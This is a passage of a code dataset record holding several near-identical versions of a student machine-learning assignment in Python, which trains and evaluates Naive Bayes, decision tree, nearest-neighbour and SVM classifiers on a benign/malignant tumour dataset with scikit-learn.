\ndef print_prediction_report(y_pred, y_true, names):\n '''\n Return a bunch of statistics and metrics reporting the performance of a \n certain classifier model on the given training data. \n \n @param:\n y_true: A np-array of the target class labels as integers\n y_pred: A np-array of the classifier-predicted class labels as integers\n names: A tuple of the class labels (str), corresponding to (1,0) \n binary integer class labels\n \n @return:\n None. Print to console. \n '''\n \n labels = (1,0)\n \n # Confusion matrix.\n print('\\nConfusion Matrix:') \n cm = metrics.confusion_matrix(y_true, y_pred, labels)\n assert len(names)==len(cm)\n assert cm.shape == (2,2) \n print('{:14} {:10} {:10} {:3}'.format('PREDICTED:',names[0], names[1], 'All'))\n print(\"ACTUAL: \")\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[0], '(TP)', cm[0,0], '','(FN)', cm[0,1], sum(cm[0])))\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[1], '(FP)', cm[1,0], '','(TN)', cm[1,1], sum(cm[1])))\n print('{:14} {:8} {:10} {:5}'.format('All',sum(cm[:,0]), sum(cm[:,1]), sum(sum(cm))))\n \n # Classification report.\n print(\"\\nClassification Report:\")\n print(metrics.classification_report(y_true, y_pred, labels, target_names=names))\n \n # Miscellaneous metrics.\n print(\"\\nOverall Metrics:\")\n print('{:14} {:.2f}'.format('accuracy:', metrics.accuracy_score(y_true, y_pred) ))\n print('{:14} {:.2f}'.format('roc_auc:', metrics.roc_auc_score(y_true, y_pred) ))\n print('{:14} {:.2f}'.format('precision:', metrics.precision_score(y_true, y_pred) ))\n print('{:14} {:.2f}'.format('recall:', metrics.recall_score(y_true, y_pred) ))\n print('{:14} {:.2f}'.format('f1:', metrics.f1_score(y_true, y_pred) ))\n print('{:14} {:.2f}'.format('lgrthmc loss:', metrics.log_loss(y_true, y_pred) ))\n print('{:14} {:.2f}'.format('mse:', metrics.mean_squared_error(y_true, y_pred) ))\n print('{:14} {:.2f}'.format('variance:', metrics.explained_variance_score(y_true, y_pred) ))\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n \n \ndef print_cv_report(r):\n '''\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n results: a dict of results from running sklearn.model_selection.cross_validate,\n scored by accuracy, roc_auc, precision and recall. \n \n @return:\n None. Print to console. \n '''\n \n score_grid = [\"accuracy\", \"precision\", \"recall\", \"f1\", \"roc_auc\"]\n \n # Print title bar.\n print(\"\\n\\n- - - VALIDATION REPORT - - -\") \n \n # Print training and test (\"validation\") scores on all metrics. \n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', \n np.mean(r['train_%s' % metric]),\n np.mean(r['test_%s' % metric] )))\n \n print('\\nMean fit time: {:.6f} seconds'.format(np.mean(r['fit_time'])))\n print('Mean score time: {:.6f} seconds'.format(np.mean(r['score_time'])))\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n\ndef print_grid_search_report(grid):\n '''\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n grid: a GridSearchCV object scored by accuracy, roc_auc, precision and \n recall, that has been fitted and therefore is available for \n access through cv_results_\n \n @return:\n None. Print to console. \n '''\n\n r = grid.cv_results_\n i = grid.best_index_\n score_grid = clf.scoring\n \n # Print the parameter optimized and the ideal value found\n print(\"\\n\\n- - - VALIDATION REPORT - - -\")\n print(\"Based on validation {} scores, the best value for hyperparameter '{}' is:\\n{}\".format(\n grid.refit, \n list(grid.best_params_.keys())[0], \n list(grid.best_params_.values())[0]) ) \n \n # For the ideal parameter value, print train and test (\"validation\") scores\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', \n r['mean_train_%s' % metric][i],\n r['mean_test_%s' % metric][i] ))\n \n print('\\nMean fit time: {:.6f} seconds'.format(r['mean_fit_time'][i]))\n print('Mean score time: {:.6f} seconds'.format(r['mean_score_time'][i]))\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n\ndef plot_grid_search_results(clf): \n # Organize data and labels\n param_name = list(clf.param_grid.keys())[0]\n param_vals = list(clf.param_grid.values())[0]\n metrics = clf.scoring \n score_grid = []\n for name in metrics:\n score_grid.append(clf.cv_results_['mean_test_%s' % name])\n\n # Plot the organized data and labels\n p = plt\n idx=0\n for scores in score_grid:\n p.plot(param_vals, scores, '-', label=metrics[idx])\n idx+=1\n \n # Configure plot and show\n p.title(\"Hyperparameter Optimization by Cross-Validation\")\n p.xlabel(param_name + \" value\")\n if param_name =='gamma': p.xscale('log')\n p.ylabel('average test score')\n p.legend(loc=\"lower right\")\n p.grid(True)\n p.show()\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n\ndef print_introduction(team_array):\n '''\n Print a nice introduction to the code being run, including well-formatted\n team member list.\n \n @param:\n team_array: array of student numbers and names returned form my_team()\n \n @return:\n None. Print to console. \n '''\n \n print(\"\\n\\n***************************************************************\")\n print(\" CAB320 ASSIGNMENT 2: MACHINE LEARNING \")\n print(\"***************************************************************\")\n print(\"\\nTEAM MEMBERS:\")\n\n for person in team_array:\n print('{:4} {:4} {:10} {:10}'.format(person[0],':',person[1], person[2]))\n \n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n \n \ndef print_clf_intro(name, params=None):\n '''\n Print a nice introduction to the classifier being tested and used.\n \n @param:\n name: string holding the name of the classifier type\n params: dict holding the name of the hyperparameter to be optimized\n \n @return:\n None. Print to console. \n '''\n \n print(\"\\n\\n\\n\\n***************************************************************\")\n print(\"* {} CLASSIFIER\".format(name))\n if(params is not None):\n print(\"\\nHyperparameter: \" + list(params.keys())[0]) # JUST KEY\n print(\"Values Tested: {} values from {} to {}\".format( \n len( list(params.values())[0] ), \n min( list(params.values())[0] ), \n max( list(params.values())[0] ) ) )\n print(\"\\nWorking...\")\n \n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n \n \n \n \n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n# MAIN FUNCTION\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n \nif __name__ == \"__main__\":\n\n# --------------------- Data-specific variables ----------------------\n # Change these as required. \n class_labels = (\"Malignant\", \"Benign\") #corresponding to (1,0) binary vals\n path_to_data = 'medical_records.data'\n test_set_ratio = 0.2\n \n # Store a list of all parameters necesary for testing and classification\n function_list = [\n build_NB_classifier,\n build_DT_classifier,\n build_NN_classifier,\n build_SVM_classifier\n ]\n\n\n# ------------------------ Experiment process ------------------------\n\n # Print the team.\n print_introduction(my_team())\n \n # Pre-process the dataset.\n data, labels = prepare_dataset(path_to_data)\n \n # Split the dataset into the corresponding ratio for crossvalidation. \n # Set random_state to a hard-coded number to ensure repeatability.\n train_data,test_data,train_labels,test_labels = model_selection.train_test_split(\n data, labels, test_size=test_set_ratio, random_state=1) \n \n # Print split information.\n print('\\n\\nTraining set: {:.1f}% of data, {} samples, {} positive ({:.1f}%)'.format(\n (1-test_set_ratio)*100, len(train_data), sum(train_labels), (sum(train_labels)*100)/len(train_data)))\n print('Test set: {:.1f}% of data, {} samples, {} positive ({:.1f}%)'.format(\n test_set_ratio*100, len(test_data), sum(test_labels), (sum(test_labels)*100)/len(test_data)))\n\n # Analyze and use each classifier, show results. \n for function in function_list:\n \n if function is build_NB_classifier: \n # Indicator for NBC. \n # Handle this differently, since no optimization is necessary.\n t0 = time.time()\n clf, cv_results = function(train_data, train_labels)\n print_cv_report(cv_results)\n \n else:\n # Create appropriate optimized classifier and report VALIDATION metrics.\n t0 = time.time()\n clf = function(train_data, train_labels)\n print_grid_search_report(clf)\n plot_grid_search_results(clf)\n \n t1 = time.time() \n print(\"\\nCross-validation, optimization, and fitting took {:.6f} seconds total.\".format(t1-t0))\n\n # Quantify the classifier's performance on the TRAINING set.\n pred_train_labels = clf.predict(train_data)\n t2 = time.time()\n print(\"\\n\\n- - - TRAINING REPORT - - -\")\n print_prediction_report(pred_train_labels, train_labels, class_labels)\n print(\"\\nPrediction on training set took {:.6f} seconds.\".format(t2-t1))\n \n # Quantify the classifier's performance on TEST SET. \n t3 = time.time()\n pred_labels = clf.predict(test_data)\n t4 = time.time()\n print(\"\\n\\n- - - TEST REPORT - - -\")\n print_prediction_report(pred_labels, test_labels, class_labels)\n print(\"\\nPrediction on test set took {:.6f} seconds.\".format(t4-t3))\n", "<docstring token>\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import naive_bayes, neighbors, tree, svm, model_selection, metrics\nimport warnings\nimport time\n\n\ndef my_team():\n \"\"\"\n Return the list of the team members of this assignment submission as a list\n of triplet of the form (student_number, first_name, last_name)\n \n \"\"\"\n return [(10155856, 'Mackenzie', 'Wilson'), (10157182, 'Nicole', 'Barritt')]\n\n\ndef prepare_dataset(dataset_path):\n \"\"\" \n Read a comma separated text file where \n\t- the first field is a ID number \n\t- the second field is a class label 'B' or 'M'\n\t- the remaining fields are real-valued\n\n Return two numpy arrays X and y where \n\t- X is two dimensional. X[i,:] is the ith example\n\t- y is one dimensional. y[i] is the class label of X[i,:]\n y[i] should be set to 1 for 'M', and 0 for 'B'\n\n @param dataset_path: full path of the dataset text file\n\n @return\n\tX,y\n \"\"\"\n file_as_array = np.genfromtxt(dataset_path, dtype='str', delimiter=',')\n num_examples = file_as_array.shape[0]\n num_features = file_as_array.shape[1]\n X = np.zeros((num_examples, num_features - 1))\n X[:, 0] = file_as_array.copy()[:, 0]\n X[:, 1:] = file_as_array[:, 2:]\n y = np.zeros_like(file_as_array[:, 1], dtype=int)\n for i in range(len(y)):\n y[i] = file_as_array[i, 1] == 'M'\n return X, y\n\n\ndef build_NB_classifier(X_training, y_training):\n \"\"\" \n Build a Naive Bayes classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n nbc: the naive bayes classifier built in this function\n results: the dict of scores returned by cross validation, since \n GridSearchCV would also return this but it cannot be used for \n NB with no hyperparameter to optimize, and CV must be done before\n fitting takes place (and fitting happens here)\n \"\"\"\n print_clf_intro('NAIVE BAYES')\n nbc = naive_bayes.MultinomialNB()\n results = model_selection.cross_validate(nbc, X_training, y_training,\n return_train_score=True, scoring=['accuracy', 'precision',\n 'roc_auc', 'recall', 'f1'])\n nbc.fit(X_training, y_training)\n return nbc, results\n\n\ndef build_DT_classifier(X_training, y_training):\n \"\"\" \n Build a Decision Tree classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n dtc: the decision tree classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n \"\"\"\n params = {'max_depth': np.linspace(1, 100, 100, dtype=int)}\n print_clf_intro('DECISION TREE', params)\n dtc = model_selection.GridSearchCV(tree.DecisionTreeClassifier(\n random_state=5), params, return_train_score=True, scoring=[\n 'accuracy', 'roc_auc', 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n dtc.fit(X_training, y_training)\n return dtc\n\n\ndef build_NN_classifier(X_training, y_training):\n \"\"\" \n Build a Nearrest Neighbours classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed. \n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n knn: the k-nearest neighbors classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n \"\"\"\n params = {'n_neighbors': np.linspace(1, 200, 200, dtype=int)}\n print_clf_intro('NEAREST NEIGHBOR', params)\n knn = model_selection.GridSearchCV(neighbors.KNeighborsClassifier(),\n params, return_train_score=True, scoring=['accuracy', 'roc_auc',\n 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n knn.fit(X_training, y_training)\n return knn\n\n\ndef build_SVM_classifier(X_training, y_training):\n \"\"\" \n Build a Support Vector Machine classifier based on the training set X_training, y_training.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n svm: the svm classifier built in this function (i.e. a GridSearchCV \n object that is usable exactly as a clf object, but allows access \n to scores from HP optimization)\n \"\"\"\n params = {'gamma': np.logspace(-10, 1, 100)}\n print_clf_intro('SUPPORT VECTOR MACHINE', params)\n svc = model_selection.GridSearchCV(svm.SVC(), params,\n return_train_score=True, scoring=['accuracy', 'roc_auc',\n 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n svc.fit(X_training, y_training)\n return svc\n\n\ndef print_prediction_report(y_pred, y_true, names):\n \"\"\"\n Return a bunch of statistics and metrics reporting the performance of a \n certain classifier model on the given training data. \n \n @param:\n y_true: A np-array of the target class labels as integers\n y_pred: A np-array of the classifier-predicted class labels as integers\n names: A tuple of the class labels (str), corresponding to (1,0) \n binary integer class labels\n \n @return:\n None. Print to console. \n \"\"\"\n labels = 1, 0\n print('\\nConfusion Matrix:')\n cm = metrics.confusion_matrix(y_true, y_pred, labels)\n assert len(names) == len(cm)\n assert cm.shape == (2, 2)\n print('{:14} {:10} {:10} {:3}'.format('PREDICTED:', names[0], names[1],\n 'All'))\n print('ACTUAL: ')\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[0], '(TP)', cm\n [0, 0], '', '(FN)', cm[0, 1], sum(cm[0])))\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[1], '(FP)', cm\n [1, 0], '', '(TN)', cm[1, 1], sum(cm[1])))\n print('{:14} {:8} {:10} {:5}'.format('All', sum(cm[:, 0]), sum(cm[:, 1]\n ), sum(sum(cm))))\n print('\\nClassification Report:')\n print(metrics.classification_report(y_true, y_pred, labels,\n target_names=names))\n print('\\nOverall Metrics:')\n print('{:14} {:.2f}'.format('accuracy:', metrics.accuracy_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('roc_auc:', metrics.roc_auc_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('precision:', metrics.precision_score(\n y_true, y_pred)))\n print('{:14} {:.2f}'.format('recall:', metrics.recall_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('f1:', metrics.f1_score(y_true, y_pred)))\n print('{:14} {:.2f}'.format('lgrthmc loss:', metrics.log_loss(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('mse:', metrics.mean_squared_error(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('variance:', metrics.\n explained_variance_score(y_true, y_pred)))\n\n\ndef print_cv_report(r):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n results: a dict of results from running sklearn.model_selection.cross_validate,\n scored by accuracy, roc_auc, precision and recall. \n \n @return:\n None. Print to console. \n \"\"\"\n score_grid = ['accuracy', 'precision', 'recall', 'f1', 'roc_auc']\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', np.mean(r[\n 'train_%s' % metric]), np.mean(r['test_%s' % metric])))\n print('\\nMean fit time: {:.6f} seconds'.format(np.mean(r['fit_time'])))\n print('Mean score time: {:.6f} seconds'.format(np.mean(r['score_time'])))\n\n\ndef print_grid_search_report(grid):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n grid: a GridSearchCV object scored by accuracy, roc_auc, precision and \n recall, that has been fitted and therefore is available for \n access through cv_results_\n \n @return:\n None. Print to console. \n \"\"\"\n r = grid.cv_results_\n i = grid.best_index_\n score_grid = clf.scoring\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print(\n \"Based on validation {} scores, the best value for hyperparameter '{}' is:\\n{}\"\n .format(grid.refit, list(grid.best_params_.keys())[0], list(grid.\n best_params_.values())[0]))\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', r[\n 'mean_train_%s' % metric][i], r['mean_test_%s' % metric][i]))\n print('\\nMean fit time: {:.6f} seconds'.format(r['mean_fit_time'][i]))\n print('Mean score time: {:.6f} seconds'.format(r['mean_score_time'][i]))\n\n\ndef plot_grid_search_results(clf):\n param_name = list(clf.param_grid.keys())[0]\n param_vals = list(clf.param_grid.values())[0]\n metrics = clf.scoring\n score_grid = []\n for name in metrics:\n score_grid.append(clf.cv_results_['mean_test_%s' % name])\n p = plt\n idx = 0\n for scores in score_grid:\n p.plot(param_vals, scores, '-', label=metrics[idx])\n idx += 1\n p.title('Hyperparameter Optimization by Cross-Validation')\n p.xlabel(param_name + ' value')\n if param_name == 'gamma':\n p.xscale('log')\n p.ylabel('average test score')\n p.legend(loc='lower right')\n p.grid(True)\n p.show()\n\n\ndef print_introduction(team_array):\n \"\"\"\n Print a nice introduction to the code being run, including well-formatted\n team member list.\n \n @param:\n team_array: array of student numbers and names returned form my_team()\n \n @return:\n None. Print to console. \n \"\"\"\n print('\\n\\n***************************************************************'\n )\n print(' CAB320 ASSIGNMENT 2: MACHINE LEARNING ')\n print('***************************************************************')\n print('\\nTEAM MEMBERS:')\n for person in team_array:\n print('{:4} {:4} {:10} {:10}'.format(person[0], ':', person[1],\n person[2]))\n\n\ndef print_clf_intro(name, params=None):\n \"\"\"\n Print a nice introduction to the classifier being tested and used.\n \n @param:\n name: string holding the name of the classifier type\n params: dict holding the name of the hyperparameter to be optimized\n \n @return:\n None. Print to console. \n \"\"\"\n print(\n '\\n\\n\\n\\n***************************************************************'\n )\n print('* {} CLASSIFIER'.format(name))\n if params is not None:\n print('\\nHyperparameter: ' + list(params.keys())[0])\n print('Values Tested: {} values from {} to {}'.format(len(list(\n params.values())[0]), min(list(params.values())[0]), max(list(\n params.values())[0])))\n print('\\nWorking...')\n\n\nif __name__ == '__main__':\n class_labels = 'Malignant', 'Benign'\n path_to_data = 'medical_records.data'\n test_set_ratio = 0.2\n function_list = [build_NB_classifier, build_DT_classifier,\n build_NN_classifier, build_SVM_classifier]\n print_introduction(my_team())\n data, labels = prepare_dataset(path_to_data)\n train_data, test_data, train_labels, test_labels = (model_selection.\n train_test_split(data, labels, test_size=test_set_ratio,\n random_state=1))\n print(\n '\\n\\nTraining set: {:.1f}% of data, {} samples, {} positive ({:.1f}%)'\n .format((1 - test_set_ratio) * 100, len(train_data), sum(\n train_labels), sum(train_labels) * 100 / len(train_data)))\n print('Test set: {:.1f}% of data, {} samples, {} positive ({:.1f}%)'.\n format(test_set_ratio * 100, len(test_data), sum(test_labels), sum(\n test_labels) * 100 / len(test_data)))\n for function in function_list:\n if function is build_NB_classifier:\n t0 = time.time()\n clf, cv_results = function(train_data, train_labels)\n print_cv_report(cv_results)\n else:\n t0 = time.time()\n clf = function(train_data, train_labels)\n print_grid_search_report(clf)\n plot_grid_search_results(clf)\n t1 = time.time()\n print(\n '\\nCross-validation, optimization, and fitting took {:.6f} seconds total.'\n .format(t1 - t0))\n pred_train_labels = clf.predict(train_data)\n t2 = time.time()\n print('\\n\\n- - - TRAINING REPORT - - -')\n print_prediction_report(pred_train_labels, train_labels, class_labels)\n print('\\nPrediction on training set took {:.6f} seconds.'.format(t2 -\n t1))\n t3 = time.time()\n pred_labels = clf.predict(test_data)\n t4 = time.time()\n print('\\n\\n- - - TEST REPORT - - -')\n print_prediction_report(pred_labels, test_labels, class_labels)\n print('\\nPrediction on test set took {:.6f} seconds.'.format(t4 - t3))\n", "<docstring token>\n<import token>\n\n\ndef my_team():\n \"\"\"\n Return the list of the team members of this assignment submission as a list\n of triplet of the form (student_number, first_name, last_name)\n \n \"\"\"\n return [(10155856, 'Mackenzie', 'Wilson'), (10157182, 'Nicole', 'Barritt')]\n\n\ndef prepare_dataset(dataset_path):\n \"\"\" \n Read a comma separated text file where \n\t- the first field is a ID number \n\t- the second field is a class label 'B' or 'M'\n\t- the remaining fields are real-valued\n\n Return two numpy arrays X and y where \n\t- X is two dimensional. X[i,:] is the ith example\n\t- y is one dimensional. y[i] is the class label of X[i,:]\n y[i] should be set to 1 for 'M', and 0 for 'B'\n\n @param dataset_path: full path of the dataset text file\n\n @return\n\tX,y\n \"\"\"\n file_as_array = np.genfromtxt(dataset_path, dtype='str', delimiter=',')\n num_examples = file_as_array.shape[0]\n num_features = file_as_array.shape[1]\n X = np.zeros((num_examples, num_features - 1))\n X[:, 0] = file_as_array.copy()[:, 0]\n X[:, 1:] = file_as_array[:, 2:]\n y = np.zeros_like(file_as_array[:, 1], dtype=int)\n for i in range(len(y)):\n y[i] = file_as_array[i, 1] == 'M'\n return X, y\n\n\ndef build_NB_classifier(X_training, y_training):\n \"\"\" \n Build a Naive Bayes classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n nbc: the naive bayes classifier built in this function\n results: the dict of scores returned by cross validation, since \n GridSearchCV would also return this but it cannot be used for \n NB with no hyperparameter to optimize, and CV must be done before\n fitting takes place (and fitting happens here)\n \"\"\"\n print_clf_intro('NAIVE BAYES')\n nbc = naive_bayes.MultinomialNB()\n results = model_selection.cross_validate(nbc, X_training, y_training,\n return_train_score=True, scoring=['accuracy', 'precision',\n 'roc_auc', 'recall', 'f1'])\n nbc.fit(X_training, y_training)\n return nbc, results\n\n\ndef build_DT_classifier(X_training, y_training):\n \"\"\" \n Build a Decision Tree classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n dtc: the decision tree classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n \"\"\"\n params = {'max_depth': np.linspace(1, 100, 100, dtype=int)}\n print_clf_intro('DECISION TREE', params)\n dtc = model_selection.GridSearchCV(tree.DecisionTreeClassifier(\n random_state=5), params, return_train_score=True, scoring=[\n 'accuracy', 'roc_auc', 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n dtc.fit(X_training, y_training)\n return dtc\n\n\ndef build_NN_classifier(X_training, y_training):\n \"\"\" \n Build a Nearrest Neighbours classifier based on the training set X_training, \n y_training, optimized for the hyperparameters passed. \n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n knn: the k-nearest neighbors classifier built in this function (i.e. a \n GridSearchCV object that is usable exactly as a clf object, but\n allows access to scores from HP optimization)\n \"\"\"\n params = {'n_neighbors': np.linspace(1, 200, 200, dtype=int)}\n print_clf_intro('NEAREST NEIGHBOR', params)\n knn = model_selection.GridSearchCV(neighbors.KNeighborsClassifier(),\n params, return_train_score=True, scoring=['accuracy', 'roc_auc',\n 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n knn.fit(X_training, y_training)\n return knn\n\n\ndef build_SVM_classifier(X_training, y_training):\n \"\"\" \n Build a Support Vector Machine classifier based on the training set X_training, y_training.\n\n @param \n X_training: X_training[i,:] is the ith example\n y_training: y_training[i] is the class label of X_training[i,:]\n\n @return\n svm: the svm classifier built in this function (i.e. a GridSearchCV \n object that is usable exactly as a clf object, but allows access \n to scores from HP optimization)\n \"\"\"\n params = {'gamma': np.logspace(-10, 1, 100)}\n print_clf_intro('SUPPORT VECTOR MACHINE', params)\n svc = model_selection.GridSearchCV(svm.SVC(), params,\n return_train_score=True, scoring=['accuracy', 'roc_auc',\n 'precision', 'recall', 'f1'], refit='roc_auc')\n with warnings.catch_warnings():\n warnings.simplefilter('ignore')\n svc.fit(X_training, y_training)\n return svc\n\n\ndef print_prediction_report(y_pred, y_true, names):\n \"\"\"\n Return a bunch of statistics and metrics reporting the performance of a \n certain classifier model on the given training data. \n \n @param:\n y_true: A np-array of the target class labels as integers\n y_pred: A np-array of the classifier-predicted class labels as integers\n names: A tuple of the class labels (str), corresponding to (1,0) \n binary integer class labels\n \n @return:\n None. Print to console. \n \"\"\"\n labels = 1, 0\n print('\\nConfusion Matrix:')\n cm = metrics.confusion_matrix(y_true, y_pred, labels)\n assert len(names) == len(cm)\n assert cm.shape == (2, 2)\n print('{:14} {:10} {:10} {:3}'.format('PREDICTED:', names[0], names[1],\n 'All'))\n print('ACTUAL: ')\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[0], '(TP)', cm\n [0, 0], '', '(FN)', cm[0, 1], sum(cm[0])))\n print('{:14} {:3} {:3} {:1} {:2} {:3} {:5}'.format(names[1], '(FP)', cm\n [1, 0], '', '(TN)', cm[1, 1], sum(cm[1])))\n print('{:14} {:8} {:10} {:5}'.format('All', sum(cm[:, 0]), sum(cm[:, 1]\n ), sum(sum(cm))))\n print('\\nClassification Report:')\n print(metrics.classification_report(y_true, y_pred, labels,\n target_names=names))\n print('\\nOverall Metrics:')\n print('{:14} {:.2f}'.format('accuracy:', metrics.accuracy_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('roc_auc:', metrics.roc_auc_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('precision:', metrics.precision_score(\n y_true, y_pred)))\n print('{:14} {:.2f}'.format('recall:', metrics.recall_score(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('f1:', metrics.f1_score(y_true, y_pred)))\n print('{:14} {:.2f}'.format('lgrthmc loss:', metrics.log_loss(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('mse:', metrics.mean_squared_error(y_true,\n y_pred)))\n print('{:14} {:.2f}'.format('variance:', metrics.\n explained_variance_score(y_true, y_pred)))\n\n\ndef print_cv_report(r):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n results: a dict of results from running sklearn.model_selection.cross_validate,\n scored by accuracy, roc_auc, precision and recall. \n \n @return:\n None. Print to console. \n \"\"\"\n score_grid = ['accuracy', 'precision', 'recall', 'f1', 'roc_auc']\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', np.mean(r[\n 'train_%s' % metric]), np.mean(r['test_%s' % metric])))\n print('\\nMean fit time: {:.6f} seconds'.format(np.mean(r['fit_time'])))\n print('Mean score time: {:.6f} seconds'.format(np.mean(r['score_time'])))\n\n\ndef print_grid_search_report(grid):\n \"\"\"\n Print nicely formatted statistics from GridSearchCV results. This includes\n the mean and std statistics for all scores used (2), on both training and\n test data (known as validation dataset).\n \n @param:\n grid: a GridSearchCV object scored by accuracy, roc_auc, precision and \n recall, that has been fitted and therefore is available for \n access through cv_results_\n \n @return:\n None. Print to console. \n \"\"\"\n r = grid.cv_results_\n i = grid.best_index_\n score_grid = clf.scoring\n print('\\n\\n- - - VALIDATION REPORT - - -')\n print(\n \"Based on validation {} scores, the best value for hyperparameter '{}' is:\\n{}\"\n .format(grid.refit, list(grid.best_params_.keys())[0], list(grid.\n best_params_.values())[0]))\n print('\\n{:12} {:10} {:10}'.format('', 'TRAINING', 'VALIDATION'))\n for metric in score_grid:\n print('{:12} {:8.2f} {:12.2f}'.format(metric + ':', r[\n 'mean_train_%s' % metric][i], r['mean_test_%s' % metric][i]))\n print('\\nMean fit time: {:.6f} seconds'.format(r['mean_fit_time'][i]))\n print('Mean score time: {:.6f} seconds'.format(r['mean_score_time'][i]))\n\n\ndef plot_grid_search_results(clf):\n param_name = list(clf.param_grid.keys())[0]\n param_vals = list(clf.param_grid.values())[0]\n metrics = clf.scoring\n score_grid = []\n for name in metrics:\n score_grid.append(clf.cv_results_['mean_test_%s' % name])\n p = plt\n idx = 0\n for scores in score_grid:\n p.plot(param_vals, scores, '-', label=metrics[idx])\n idx += 1\n p.title('Hyperparameter Optimization by Cross-Validation')\n p.xlabel(param_name + ' value')\n if param_name == 'gamma':\n p.xscale('log')\n p.ylabel('average test score')\n p.legend(loc='lower right')\n p.grid(True)\n p.show()\n\n\ndef print_introduction(team_array):\n \"\"\"\n Print a nice introduction to the code being run, including well-formatted\n team member list.\n \n @param:\n team_array: array of student numbers and names returned form my_team()\n \n @return:\n None. Print to console. \n \"\"\"\n print('\\n\\n***************************************************************'\n )\n print(' CAB320 ASSIGNMENT 2: MACHINE LEARNING ')\n print('***************************************************************')\n print('\\nTEAM MEMBERS:')\n for person in team_array:\n print('{:4} {:4} {:10} {:10}'.format(person[0], ':', person[1],\n person[2]))\n\n\ndef print_clf_intro(name, params=None):\n \"\"\"\n Print a nice introduction to the classifier being tested and used.\n \n @param:\n name: string holding the name of the classifier type\n params: dict holding the name of the hyperparameter to be optimized\n \n @return:\n None. Print to console. \n \"\"\"\n print(\n '\\n\\n\\n\\n***************************************************************'\n )\n print('* {} 